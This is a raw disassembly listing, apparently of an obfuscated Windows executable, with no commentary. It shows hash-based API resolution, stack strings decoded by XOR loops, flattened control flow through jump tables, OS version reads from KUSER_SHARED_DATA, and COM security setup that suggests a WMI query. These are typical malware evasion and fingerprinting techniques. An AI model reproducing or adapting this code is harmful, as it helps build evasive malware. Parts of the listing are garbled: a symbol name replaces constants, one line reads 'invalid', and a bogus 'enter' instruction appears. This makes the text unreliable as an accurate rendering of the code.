mov ecx, dword [esi + 0x18]
cmp ecx, 0x12
ja 0x4266fa
nop
nop
nop
nop
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x18]
movzx edx, byte [esi + edx + 0x1ec]
add ecx, 0x70a13836
xor ecx, edx
mov dword [esi + 0xe8], ecx
mov ecx, dword [esi + 0xe8]
add cl, 0xf2
mov edx, dword [esi + 0x18]
mov byte [esi + edx + 0x1ec], cl
inc dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
cmp ecx, 0x13
jb 0x4266c0
movzx ecx, byte [esi + 0x1ec]
test cl, cl
je 0x42671b
lea edx, [esi + 0x1ed]
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x426710
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42673b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x426730
mov byte [edi], 0
mov dword [esi + 0x1ec], 0xbc92847a
mov dword [esi + 0x1f0], 0x9f84a0ac
mov byte [esi + 0x1f4], pe_nt_image_headers32
mov dword [esi + 0x1f5], 0
mov dword [esi + 0x1f8], 0
mov dword [esi + 0x18], 0
mov eax, dword [esi + 0x18]
cmp eax, 0xf
ja 0x4267c8
nop
nop
nop
nop
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
movzx ecx, byte [esi + ecx + 0x1ec]
lea edx, [eax + ecx]
add edx, 0xd7e6b094
add eax, 0xd7e6b094
not ecx
or eax, ecx
sub ecx, eax
lea eax, [edx + ecx*2]
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0x1c
mov ecx, dword [esi + 0x18]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x18]
mov eax, dword [esi + 0x18]
cmp eax, 0x10
jb 0x426780
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x4267eb
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4267e0
mov byte [edi], 0
mov eax, dword [0x441ac8]
mov dword [esi + 0x1ec], 0x63f161f5
mov dword [esi + 0x1f0], 0x67f465c1
mov dword [esi + 0x1f4], 0x5b88598b
mov dword [esi + 0x1f8], 0x5ffa5d82
mov dword [esi + 0x1fc], 0x53ce51cc
mov word [esi + 0x200], 0x5554
mov dword [esi + 0x202], 0
mov dword [esi + 0x18], 0
mov ecx, dword [esi + 0x18]
cmp ecx, 0x19
ja 0x42688a
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x18]
movzx edx, byte [esi + edx + 0x1ec]
add ecx, 0x96fceb98
xor ecx, edx
mov dword [esi + 0xe8], ecx
mov ecx, dword [esi + 0xe8]
add cl, 8
mov edx, dword [esi + 0x18]
mov byte [esi + edx + 0x1ec], cl
inc dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
cmp ecx, 0x1a
jb 0x426850
lea ebx, [esi + 0x1ec]
push 0x800
push 0
push ebx
call eax
mov dword [esi + 0xbc], 0
mov dword [esi + 0xc0], 0
lea ecx, [esi + 0xbc]
mov dword [esi + 0x9c], eax
push eax
call fcn.004343e0
movzx eax, al
mov dword [esi + 0xc], edi
jmp dword [eax*4 + 0x43fa04]
mov edx, dword [esi + 0xa0]
jmp 0x426c56
lea eax, [esi + 0x1f0]
push 0x344
push 0
push eax
call fcn.00408fe0
add esp, 0xc
mov dword [esi + 0x1ec], 0x348
push 0x3733e33b
push dword [esi + 0xbc]
call fcn.004365c0
add esp, 8
push 0
push ebx
push 0
push 0
call eax
lea eax, [esi + 0x230]
lea ecx, [edi + 0x80]
mov dword [esi + 0x14], ecx
xor edx, edx
mov ecx, edi
jmp 0x42694b
mov byte [ecx], bl
mov edi, 1
add eax, 2
add edx, edi
mov edi, dword [esi + 0xc]
lea ecx, [edi + edx]
cmp edx, 0x7f
jae 0x4269e4
movzx ebx, word [eax]
test bx, bx
je 0x4269e4
cmp bx, 0x7f
jbe 0x426930
mov dword [esi + 0x10], edx
mov edx, ecx
not edx
add edx, dword [esi + 0x14]
movzx edi, bx
cmp edx, 2
jb 0x4269a0
cmp edi, 0x7ff
ja 0x4269a0
mov edx, ebx
shr edx, 6
add dl, 0xc0
mov byte [ecx], dl
and bl, 0x3f
or bl, 0x80
mov byte [ecx + 1], bl
mov edi, 2
mov edx, dword [esi + 0x10]
jmp 0x426937
mov dword [esi + 0x30], edi
xor edi, edi
cmp edx, 3
mov edx, dword [esi + 0x10]
jb 0x426937
mov edi, dword [esi + 0x30]
mov edx, edi
shr edx, 0xc
or dl, 0xe0
mov byte [ecx], dl
mov edx, dword [esi + 0x10]
shr edi, 6
mov dword [esi + 0x30], ecx
mov ecx, edi
and cl, 0x3f
or cl, 0x80
mov edi, dword [esi + 0x30]
mov byte [edi + 1], cl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov edi, 3
jmp 0x426937
mov dword [esi + 0x10], edx
mov byte [ecx], 0
lea edi, [esi + 0xe8]
push 0xdc
push 0
push edi
call fcn.00408fe0
add esp, 0xc
mov word [esi + 0x12c], 0xdc
push 0x30be1b3b
push dword [esi + 0xbc]
call fcn.004365c0
add esp, 8
push edi
push 0xffffffffffffffff
push 0
call eax
mov ebx, dword [esi + 0x194]
mov byte [esi + 0xaf], 0
test ebx, ebx
je 0x426a98
lea ecx, [esi + 0xaf]
cmp ebx, 0x64
jb 0x426aa7
nop
mov dword [esi + 0x14], ebx
mov eax, ebx
mov edx, 0x51eb851f
mul edx
shr edx, 5
imul edi, edx, 0x64
mov eax, ebx
sub eax, edi
mov ebx, eax
and ebx, 2
mov edi, eax
or eax, 2
imul eax, ebx
xor ebx, 2
and edi, 0x7d
imul edi, ebx
movzx eax, word [edi + eax + 0x43a318]
mov word [ecx - 2], ax
add ecx, 0xfffffffe
cmp dword [esi + 0x14], 0x270f
mov ebx, edx
ja 0x426a40
cmp edx, 9
ja 0x426aae
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ecx - 1], al
dec ecx
jmp 0x426abd
lea ecx, [esi + 0xae]
mov byte [esi + 0xae], 0x30
jmp 0x426abd
mov edx, ebx
cmp edx, 9
jbe 0x426a8b
movzx eax, word [edx + edx + 0x43a318]
mov word [ecx - 2], ax
add ecx, 0xfffffffe
mov edi, dword [esi + 0xc]
mov eax, dword [esi + 0x198]
mov byte [esi + 0x1eb], 0
test eax, eax
mov edx, dword [esi + 0x10]
mov dword [esi + 0x30], ecx
je 0x426b48
lea ebx, [esi + 0x1eb]
cmp eax, 0x64
jb 0x426b57
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, eax
mov dword [esi + 0x14], eax
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul ecx, edx, 0x64
mov eax, edi
sub eax, ecx
mov edi, eax
and edi, 2
mov ecx, eax
or eax, 2
imul eax, edi
xor edi, 2
and ecx, 0x7d
imul ecx, edi
movzx eax, word [ecx + eax + 0x43a318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
cmp dword [esi + 0x14], 0x270f
mov eax, edx
ja 0x426af0
cmp edx, 9
ja 0x426b5e
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ebx - 1], al
dec ebx
jmp 0x426b6d
lea ebx, [esi + 0x1ea]
mov byte [esi + 0x1ea], 0x30
jmp 0x426b73
mov edx, eax
cmp edx, 9
jbe 0x426b3b
movzx eax, word [edx + edx + 0x43a318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
mov edi, dword [esi + 0xc]
mov edx, dword [esi + 0x10]
mov dword [esi + 0x18], 0xcb2e3416
mov dword [esi + 0x1c], 0xfff2faf5
mov dword [esi + 0x20], 0xf12688e1
mov dword [esi + 0x24], 0xe7e9f2e1
mov dword [esi + 0x28], 0xece7eded
mov dword [esi + 0x2c], 0x1332d3ee
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 0x17
ja 0x426be2
nop
nop
nop
nop
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
movzx ecx, byte [esi + ecx + 0x18]
add eax, 0xd0e551c2
xor eax, ecx
mov dword [esi + 0xd4], eax
mov eax, dword [esi + 0xd4]
add al, 0x36
mov ecx, dword [esi + 0x68]
mov byte [esi + ecx + 0x18], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 0x18
jb 0x426bb0
add edi, edx
movzx eax, byte [esi + 0x18]
test al, al
je 0x426bfb
lea ecx, [esi + 0x19]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x426bf0
mov byte [edi], 0
mov ecx, dword [esi + 0x30]
movzx eax, byte [ecx]
test al, al
je 0x426c1b
inc ecx
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x426c10
mov byte [edi], pe_nt_image_headers32
inc edi
movzx eax, byte [ebx]
test al, al
je 0x426c3b
inc ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x426c30
mov byte [edi], 0
push dword [esi + 0x9c]
call dword [0x441bcc]
mov edx, dword [esi + 0xa0]
lea ebx, [esi + 0x1ec]
mov byte [edi], 0
mov dword [esi + 0x1ec], 0xebe9e00f
mov dword [esi + 0x1f0], 0xf7301019
mov word [esi + 0x1f4], 0xf5f8
mov byte [esi + 0x1f6], 0x66
mov dword [esi + 0x1f7], 0
mov byte [esi + 0x1fb], 0
sub edi, edx
mov dword [esi + 0x18], 0
mov eax, dword [esi + 0x18]
cmp eax, 0xf
ja 0x426cd8
nop
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0xe167826a
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0xee
mov ecx, dword [esi + 0x18]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x18]
mov eax, dword [esi + 0x18]
cmp eax, 0x10
jb 0x426ca0
mov ecx, dword [ebp + 8]
push edi
push edx
push ebx
mov edi, edx
call fcn.00409910
jmp dword [0x43fa0c]
push edi
call fcn.00408f70
add esp, 4
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
call fcn.004178d0
mov dword [esi + 0x208], 0
mov eax, dword [esi + 0x20c]
mov ecx, dword [esi + 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
test edi, edi
setns al
mov cx, word [ebx]
sub cx, 8
sete cl
and al, cl
mov dword [esi + 0x2b0], 0
mov ecx, dword [esi + 0x2b4]
mov edx, dword [esi + 0x2b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ebx, dword [esi + 8]
mov eax, dword [ebx + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edi, eax
mov eax, dword [ebx + 8]
mov ecx, edi
shl ecx, 1
mov edx, eax
add edx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00426d00
add esp, 8
xor ecx, ecx
mov dword [esi + 0x104], eax
sub ecx, eax
add ecx, 0xffffffff
xor ebx, ebx
sub ebx, ecx
sub esp, 4
mov dword [esp], ebx
call fcn.00408f60
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x44]
mov dword [eax], ecx
mov eax, dword [esi + 8]
mov edx, dword [eax + 8]
shl edi, 1
mov eax, edx
add eax, edi
mov dword [esi + 0x100], eax
mov edi, ecx
add edi, ebx
mov ebx, dword [esi + 0xac]
mov eax, edi
add eax, 0xffffffff
cmp ecx, eax
jae 0x427368
mov dword [esi + 0x4c], ecx
mov dword [esi + 0x60], edx
call fcn.004178d0
call fcn.004178d0
mov edx, dword [esi + 0x60]
mov dword [esi + 0xf0], edi
mov edi, dword [esi + 0x100]
test edi, edi
sete al
mov ecx, edx
sub ecx, edi
mov edi, dword [esi + 0xf0]
setb cl
or al, cl
mov ecx, dword [esi + 0x4c]
test al, 1
jne 0x427328
jmp 0x427368
mov ax, word [edx]
cmp ax, 0
je 0x427368
movzx eax, ax
add edx, 2
mov dword [esi + 0x60], edx
mov ecx, dword [esi + 0x4c]
xor ecx, 0xffffffff
add ecx, edi
sub esp, 0xc
mov edx, dword [esi + 0x4c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042a4c0
mov edx, dword [esi + 0x60]
mov ecx, dword [esi + 0x4c]
add esp, 0xc
add ecx, eax
jmp 0x4272e3
mov byte [ecx], 0
mov eax, dword [esi + 0xa8]
mov al, byte [eax]
mov byte [esi + 0x84], al
mov byte [ebx], 0x7d
mov byte [ebx + 1], 0x6c
mov byte [ebx + 2], 0x50
mov byte [ebx + 3], 0x6d
mov byte [ebx + 4], 0x51
mov byte [ebx + 5], 0x5a
mov byte [ebx + 6], 0x5f
mov byte [ebx + 7], 0xcd
mov dword [esi + 0x34], 0
mov eax, dword [esi + 0x34]
cmp eax, 8
jae 0x4273d2
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a6c0
add esp, 8
mov ecx, dword [esi + 0x34]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0x34]
inc eax
mov dword [esi + 0x34], eax
jmp 0x42739f
mov edi, dword [esi + 0x44]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00416ca0
add esp, 8
mov ecx, eax
mov dword [esi + 0x68], ecx
mov edi, dword [edi]
mov dword [esi + 0x14], edi
not edi
add ecx, edi
mov eax, ecx
not eax
mov edx, dword [esi + 0x104]
add eax, edx
mov ebx, edx
sub ebx, ecx
mov dword [esi + 0x98], ebx
mov ecx, dword [esi + 0x14]
sub ecx, dword [esi + 0x68]
seta cl
sub edx, edi
mov edi, dword [esi + 0x14]
sub edx, edi
seta ch
and cl, ch
test cl, 1
jne 0x42748a
mov ebx, dword [esi + 0x98]
mov ecx, ebx
shr ecx, 2
mov edi, dword [esi + 0x14]
mov eax, dword [esi + 0x68]
mov edx, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, ebx
and ecx, 0xfffffffc
add dword [esi + 0x14], ecx
add eax, ecx
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov edi, dword [esi + 0x14]
mov edx, eax
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov edi, dword [esi + 0x14]
mov ecx, ebx
and ecx, 1
and ebx, 2
add eax, ebx
add edi, ebx
mov edx, ecx
add ecx, 0xffffffff
cmp edx, 0
je 0x4274b7
mov edx, eax
add edx, 1
mov bl, byte [eax]
mov eax, edi
mov edi, eax
add edi, 1
mov byte [eax], bl
mov eax, edx
jmp 0x42746c
mov ecx, dword [esi + 0x68]
add ecx, eax
add edi, eax
mov edx, ecx
mov ebx, dword [esi + 0x98]
cmp ebx, 0
je 0x4274b5
add ebx, 0xffffffff
mov ecx, edx
add ecx, 0xffffffff
mov dl, byte [edx]
mov eax, edi
mov edi, eax
add edi, 0xffffffff
mov byte [eax], dl
mov edx, ecx
jmp 0x427499
jmp 0x4274b9
jmp 0x4274b9
mov eax, dword [esi + 0x178]
mov ecx, dword [esi + 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x210]
mov ecx, dword [esi + 0x214]
mov eax, dword [ecx + eax*4]
jmp eax
enter 0xffffffffffffcbcf, 0xffffffffffffff94
mov ah, 0xca
and dword [ecx + 0x50], eax
mov eax, esp
sub esp, 0x18
push eax
push eax
sub esp, 0xc
push eax
sub esp, 0x4c
push eax
push eax
push eax
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0xc
push eax
sub esp, 8
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x1c
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x20
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x18
push eax
mov ecx, dword [0x7ffe026c]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov ecx, dword [0x7ffe0270]
mov dword [edx + 4], ecx
mov ecx, dword [0x7ffe0260]
mov dword [edx + 8], ecx
mov ecx, dword [0x7ffe0264]
sub ecx, 2
sete byte [edx + 0xc]
mov dword [edx + 0x10], 0
mov byte [edx + 0x14], 0
mov word [edx + 0x28], 0
mov byte [edx + 0x2a], 0
mov dword [eax], 0
sub esp, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x43a9c0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x43a9d0
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
mov eax, dword [esi + 0x198]
mov ecx, dword [esi + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
invalid
mov eax, dword [edi]
mov ecx, dword [esi + 0x1d8]
mov edx, dword [esi + 0x1dc]
mov ecx, dword [edx + ecx*4]
jmp ecx
sub esp, 4
mov dword [esp], ebx
call fcn.00408f70
add esp, 4
mov eax, dword [esi + 0x238]
mov ecx, dword [esi + 0x23c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x1e0]
mov ecx, dword [esi + 0x1e4]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0xcc]
mov ebx, dword [esi + 0xd0]
jmp eax
mov eax, dword [edi]
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
not eax
shr eax, 0x1f
mov dword [esi + 0x350], eax
mov eax, dword [esi + 0x354]
mov ecx, dword [esi + 0x350]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x1c8]
mov ecx, dword [esi + 0x1cc]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
mov eax, dword [esi + 0x2e8]
mov ecx, dword [esi + 0x2ec]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x218]
mov ecx, dword [esi + 0x21c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0xc8]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x380], ecx
mov eax, dword [esi + 0x384]
mov ecx, dword [esi + 0x380]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov dword [esi + 0x200], 1
mov eax, dword [esi + 0x204]
mov ecx, dword [esi + 0x200]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 0xc4]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x1c0]
mov ecx, dword [esi + 0x1c4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x114]
mov al, byte [eax]
mov byte [esi + 0x74], al
mov byte [edi], 0x6e
mov byte [edi + 1], 0x1f
mov byte [edi + 2], 0x6f
mov byte [edi + 3], 0x11
mov byte [edi + 4], 0x61
mov byte [edi + 5], 0x13
mov byte [edi + 6], 0x66
mov byte [edi + 7], 0x15
mov byte [edi + 8], pe_nt_image_headers32
mov byte [edi + 9], 0x17
mov byte [edi + 0xa], 0x53
mov byte [edi + 0xb], 9
mov byte [edi + 0xc], 0x73
mov byte [edi + 0xd], 0xb
mov byte [edi + 0xe], 0x75
mov byte [edi + 0xf], 0xd
mov byte [edi + 0x10], 0x7a
mov byte [edi + 0x11], 0xf
mov byte [edi + 0x12], 0x5c
mov byte [edi + 0x13], 1
mov byte [edi + 0x14], 0
mov byte [edi + 0x15], 3
mov eax, 0x16
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x18
jne 0x4277f9
mov eax, dword [esi + 0x378]
mov ecx, dword [esi + 0x37c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0xd0]
jmp eax
mov eax, dword [esi + 0x118]
mov al, byte [eax]
mov byte [esi + 0x78], al
mov edx, dword [esi + 0xa0]
mov byte [edx], 0xf5
mov byte [edx + 1], 0x8f
mov byte [edx + 2], 0xfd
mov byte [edx + 3], 0xb1
mov byte [edx + 4], 0xfc
mov byte [edx + 5], 0xb3
mov byte [edx + 6], 0xb2
mov byte [edx + 7], 0xb5
mov eax, 8
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0xa
jne 0x427851
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x24]
cmp eax, 0xa
jae 0x42789d
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x24]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a650
mov edx, dword [esi + 0xa0]
add esp, 8
mov ecx, dword [esi + 0x24]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x24]
inc eax
mov dword [esi + 0x24], eax
jmp 0x427864
sub esp, 4
mov dword [esp], edx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0xc0], eax
mov eax, dword [esi + 0x11c]
mov al, byte [eax]
mov byte [esi + 0x7c], al
mov edx, dword [esi + 0xa4]
mov byte [edx], 0x23
mov byte [edx + 1], 0x91
mov byte [edx + 2], 0x5f
mov byte [edx + 3], 0x93
mov byte [edx + 4], 0x28
mov byte [edx + 5], 0x9d
mov byte [edx + 6], 0x53
mov byte [edx + 7], 0x9f
mov byte [edx + 8], 0x5b
mov byte [edx + 9], 0x99
mov byte [edx + 0xa], 0x26
mov byte [edx + 0xb], 0x9b
mov byte [edx + 0xc], 0x64
mov byte [edx + 0xd], 0x85
mov byte [edx + 0xe], 0x6c
mov byte [edx + 0xf], 0x87
mov byte [edx + 0x10], 0x60
mov byte [edx + 0x11], 0x81
mov byte [edx + 0x12], 0x4c
mov byte [edx + 0x13], 0x83
mov byte [edx + 0x14], 0x3e
mov byte [edx + 0x15], 0x8d
mov byte [edx + 0x16], 0x39
mov byte [edx + 0x17], 0x8f
mov byte [edx + 0x18], 0x3d
mov byte [edx + 0x19], 0x89
mov byte [edx + 0x1a], 0x6a
mov byte [edx + 0x1b], 0x8b
mov byte [edx + 0x1c], 0xcb
mov byte [edx + 0x1d], 0x75
mov byte [edx + 0x1e], 0xdf
mov byte [edx + 0x1f], 0x77
mov byte [edx + 0x20], 0xe6
mov byte [edx + 0x21], 0x71
mov byte [edx + 0x22], 0xa1
mov byte [edx + 0x23], 0x73
mov byte [edx + 0x24], 0xae
mov byte [edx + 0x25], 0x7d
mov byte [edx + 0x26], 0xd9
mov byte [edx + 0x27], 0x7f
mov byte [edx + 0x28], 0xcf
mov byte [edx + 0x29], 0x79
mov byte [edx + 0x2a], 0xea
mov byte [edx + 0x2b], 0x7b
mov byte [edx + 0x2c], 0xc9
mov byte [edx + 0x2d], 0x65
mov byte [edx + 0x2e], 0xf4
mov byte [edx + 0x2f], 0x67
mov byte [edx + 0x30], 0xc1
mov byte [edx + 0x31], 0x61
mov byte [edx + 0x32], 0xfe
mov byte [edx + 0x33], 0x63
mov byte [edx + 0x34], 0xc5
mov byte [edx + 0x35], 0x6d
mov byte [edx + 0x36], 0xf8
mov byte [edx + 0x37], 0x6f
mov byte [edx + 0x38], 0xc7
mov byte [edx + 0x39], 0x69
mov byte [edx + 0x3a], 0xd9
mov byte [edx + 0x3b], 0x6b
mov byte [edx + 0x3c], 0xcd
mov byte [edx + 0x3d], 0x55
mov byte [edx + 0x3e], 0xc5
mov byte [edx + 0x3f], 0x57
mov byte [edx + 0x40], 0xcc
mov byte [edx + 0x41], 0x51
mov byte [edx + 0x42], 0xff
mov byte [edx + 0x43], 0x53
mov byte [edx + 0x44], 0xc9
mov byte [edx + 0x45], 0x5d
mov byte [edx + 0x46], 0x5e
mov byte [edx + 0x47], 0x5f
mov eax, 0x48
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0x4b
jne 0x4279e4
mov dword [esi + 0x28], 0
mov eax, dword [esi + 0x28]
cmp eax, 0x4b
jae 0x427a30
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x28]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a680
mov edx, dword [esi + 0xa4]
add esp, 8
mov ecx, dword [esi + 0x28]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x28]
inc eax
mov dword [esi + 0x28], eax
jmp 0x4279f7
sub esp, 4
mov dword [esp], edx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov ebx, eax
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x50]
sub esp, 0x18
mov edi, dword [esi + 0xc8]
mov dword [esp + 0x14], edi
mov dword [esp + 8], ebx
mov edx, dword [esi + 0xc0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call ecx
not eax
shr eax, 0x1f
mov dword [esi + 0x348], eax
mov eax, dword [esi + 0x34c]
mov ecx, dword [esi + 0x348]
mov eax, dword [eax + ecx*4]
mov dword [esi + 0xbc], ebx
jmp eax
movzx eax, al
and eax, 1
mov dword [esi + 0x330], eax
mov eax, dword [esi + 0x334]
mov ecx, dword [esi + 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
mov edi, eax
mov eax, dword [esi + 0x2c0]
mov ecx, dword [esi + 0x2c4]
mov eax, dword [ecx + eax*4]
jmp eax
movzx eax, bl
and eax, 1
mov dword [esi + 0x308], eax
mov eax, dword [esi + 0x30c]
mov ecx, dword [esi + 0x308]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 4]
jmp eax
movsx ecx, word [edi + 8]
mov edx, 0x88888889
mov eax, ecx
imul edx
add edx, ecx
mov eax, edx
shr eax, 0x1f
shr edx, 5
add edx, eax
mov word [ebx], dx
mov eax, dword [esi + 0x160]
mov ecx, dword [esi + 0x164]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x1f8]
mov ecx, dword [esi + 0x1fc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
test edi, edi
setne al
mov dword [esi + 0x1a8], 0
mov ecx, dword [esi + 0x1ac]
mov edx, dword [esi + 0x1a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
sub esp, 4
mov dword [esp], ebx
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov eax, dword [esi + 0xbc]
mov dword [esp], eax
call edi
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esi + 0x360]
mov edx, dword [esi + 0x364]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.004178d0
mov dword [esi + 0x258], 1
mov eax, dword [esi + 0x25c]
mov ecx, dword [esi + 0x258]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x50]
jmp eax
call fcn.004178d0
mov dword [esi + 0x300], 0
mov eax, dword [esi + 0x304]
mov ecx, dword [esi + 0x300]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0xc]
mov ebx, dword [eax]
mov eax, dword [esi + 0x138]
mov al, byte [eax]
mov byte [esi + 0x94], al
mov edi, dword [esi + 0x70]
mov byte [edi], 0x31
mov byte [edi + 1], 0x79
mov byte [edi + 2], 0xec
mov byte [edi + 3], 0x7f
mov byte [edi + 4], 0xeb
mov byte [edi + 5], 0x7d
mov byte [edi + 6], 0xf6
mov byte [edi + 7], 0x63
mov byte [edi + 8], 1
mov byte [edi + 9], 0x61
mov byte [edi + 0xa], 0xa
mov byte [edi + 0xb], 0x67
mov byte [edi + 0xc], 8
mov byte [edi + 0xd], 0x65
mov byte [edi + 0xe], 0x2e
mov byte [edi + 0xf], 0x6b
mov byte [edi + 0x10], 9
mov byte [edi + 0x11], 0x69
mov byte [edi + 0x12], 0xfa
mov byte [edi + 0x13], 0x6f
mov byte [edi + 0x14], 9
mov byte [edi + 0x15], 0x6d
mov byte [edi + 0x16], 0x92
mov byte [edi + 0x17], 0x93
mov eax, 0x18
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x19
jne 0x427c46
mov dword [esi + 0x40], 0
mov eax, dword [esi + 0x40]
cmp eax, 0x19
jae 0x427c8c
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x40]
